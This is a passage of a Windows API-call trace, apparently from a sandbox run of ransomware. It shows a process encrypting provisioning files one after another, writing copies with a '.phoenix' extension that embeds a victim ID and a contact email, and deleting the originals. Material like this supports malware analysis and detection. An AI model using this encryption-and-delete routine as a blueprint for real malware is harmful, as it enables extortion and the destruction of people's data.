	[0258.719] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\71__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\71__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0258.720] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.720] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.721] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=768) returned 1
	[0258.721] CloseHandle (hObject=0x2d0) returned 1
	[0258.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.722] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.722] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.722] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.723] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0258.723] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.723] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x300, lpOverlapped=0x0) returned 1
	[0258.740] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0258.740] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0258.741] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0258.741] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.741] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0258.741] CryptDestroyKey (hKey=0x151340) returned 1
	[0258.741] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0258.741] CryptDestroyKey (hKey=0x151540) returned 1
	[0258.741] CloseHandle (hObject=0x2d0) returned 1
	[0258.742] CloseHandle (hObject=0x2c0) returned 1
	[0258.742] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\720__Connections_Cellular_GigSky (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\720__connections_cellular_gigsky (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 1
	[0258.743] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.743] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.744] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=447) returned 1
	[0258.744] CloseHandle (hObject=0x2c0) returned 1
	[0258.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20
	[0258.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.744] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.744] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.745] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.745] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0258.745] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0258.745] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.745] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1bf, lpOverlapped=0x0) returned 1
	[0258.747] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c0) returned 1
	[0258.747] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1c0, lpOverlapped=0x0) returned 1
	[0258.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0258.748] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.748] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0258.748] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0258.748] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0258.748] CryptDestroyKey (hKey=0x151640) returned 1
	[0258.748] CloseHandle (hObject=0x2c0) returned 1
	[0258.748] CloseHandle (hObject=0x2d0) returned 1
	[0258.749] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\723__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\723__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 1
	[0258.750] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0258.750] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.756] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=790) returned 1
	[0258.756] CloseHandle (hObject=0x250) returned 1
	[0258.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0258.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0258.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0258.758] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.758] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0258.758] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0258.761] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151740) returned 1
	[0258.761] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.761] ReadFile (in: hFile=0x250, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x316, lpOverlapped=0x0) returned 1
	[0258.763] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0258.763] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0258.764] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0258.764] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0258.764] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0258.764] CryptDestroyKey (hKey=0x151480) returned 1
	[0258.764] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0258.764] CryptDestroyKey (hKey=0x151740) returned 1
	[0258.764] CloseHandle (hObject=0x250) returned 1
	[0258.764] CloseHandle (hObject=0x2c0) returned 1
	[0259.247] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\72__Connections_Cellular_Claro (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\72__connections_cellular_claro (colombia)_i0$(__mvid)@wap.provxml")) returned 1
	[0259.268] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.268] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.329] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=482) returned 1
	[0259.329] CloseHandle (hObject=0x310) returned 1
	[0259.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0259.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0259.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.329] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0259.329] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.330] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151540) returned 1
	[0259.330] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.330] ReadFile (in: hFile=0x310, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e2, lpOverlapped=0x0) returned 1
	[0259.331] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0259.331] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0259.332] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0259.332] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0259.332] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0259.332] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0259.332] WriteFile (in: hFile=0x2e0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0259.332] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.332] CloseHandle (hObject=0x310) returned 1
	[0259.332] CloseHandle (hObject=0x2e0) returned 1
	[0259.332] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\74__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\74__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0259.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0259.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0259.334] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=657) returned 1
	[0259.334] CloseHandle (hObject=0x2e0) returned 1
	[0259.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0259.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\75__Connections_Cellular_TIGO (Colombia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\75__connections_cellular_tigo (colombia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
